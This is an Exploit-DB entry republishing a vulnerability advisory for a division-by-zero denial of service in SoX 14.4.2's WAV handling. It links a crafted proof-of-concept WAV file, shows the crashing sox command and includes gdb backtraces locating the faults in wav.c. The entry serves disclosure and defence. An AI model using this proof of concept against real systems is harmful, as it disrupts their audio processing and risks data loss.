Exploit-DB #51034
Description: SoX 14.4.2 - Denial Of Service
Type: dos
Platform: hardware
Date: 2023-03-22
Author: LiquidWorm

Exploit:
# Exploit Title: SoX 14.4.2 - Denial Of Service
# Exploit Author: LiquidWorm


Vendor: Chris Bagwell
Product web page: http://sox.sourceforge.net
                  https://en.wikipedia.org/wiki/SoX
Affected version: <=14.4.2

Summary: SoX (Sound eXchange) is the Swiss Army knife of sound processing
tools: it can convert sound files between many different file formats and
audio devices, and can apply many sound effects and transformations, as well
as doing basic analysis and providing input to more capable analysis and
plotting tools.

Desc: SoX suffers from a division by zero attack when handling WAV files,
resulting in denial of service vulnerability and possibly loss of data.

Tested on: Ubuntu 18.04.6 LTS
           Microsoft Windows 10 Home


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2022-5712
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5712.php

CWE ID: 369
CWE URL: https://cwe.mitre.org/data/definitions/369.html


05.09.2022

--


PoC:

https://zeroscience.mk/codes/sox_div0.wav.zip

---

$ ./sox div0.wav test.wav reverse
Floating point exception (core dumped)
...
Program received signal SIGFPE, Arithmetic exception.
0x[PII_REDACTED]6a560d in startread (ft=ft@entry=0x5555559a54a0) at wav.c:950
(gdb) bt
#0  0x[PII_REDACTED]6a560d in startread (ft=ft@entry=0x5555559a54a0) at wav.c:950
#1  0x[PII_REDACTED]58dcc2 in open_read (path=<optimized out>, buffer=<optimized out>, buffer_size=<optimized out>, signal=0x5555559a5140, encoding=<optimized out>, filetype=0x[PII_REDACTED]21 "wav")
    at formats.c:545
#2  0x[PII_REDACTED]561480 in main (argc=3, argv=0x7fffffffde18) at sox.c:2945
...
Program received signal SIGFPE, Arithmetic exception.
0x[PII_REDACTED]6a3a32 in wavwritehdr (second_header=0, ft=0x5555559a6a90) at wav.c:1457
1457	        blocksWritten = MS_UNSPEC/wBlockAlign;
(gdb) bt
#0  0x[PII_REDACTED]6a3a32 in wavwritehdr (second_header=0, ft=0x5555559a6a90) at wav.c:1457
#1  startwrite (ft=0x5555559a6a90) at wav.c:1252
#2  0x[PII_REDACTED]591669 in open_write (path=<optimized out>, buffer=buffer@entry=0x0, buffer_size=buffer_size@entry=0, buffer_ptr=buffer_ptr@entry=0x0, buffer_size_ptr=buffer_size_ptr@entry=0x0, 
    signal=<optimized out>, encoding=<optimized out>, filetype=<optimized out>, oob=<optimized out>, overwrite_permitted=<optimized out>) at formats.c:912
#3  0x[PII_REDACTED]593913 in sox_open_write (path=<optimized out>, signal=<optimized out>, encoding=<optimized out>, filetype=<optimized out>, oob=<optimized out>, overwrite_permitted=<optimized out>)
    at formats.c:948
#4  0x[PII_REDACTED]56b620 in open_output_file () at sox.c:1557
#5  process () at sox.c:1754
#6  main (argc=<optimized out>, argv=<optimized out>) at sox.c:3008
(gdb) bt full
#0  0x[PII_REDACTED]6a3a32 in wavwritehdr (second_header=0, ft=0x5555559a6a90) at wav.c:1457
        wFormatTag = 1
        dwAvgBytesPerSec = 0
        dwFactSize = 4
        bytespersample = <optimized out>
        blocksWritten = <error reading variable blocksWritten (Division by zero)>
        dwSamplesWritten = 0
...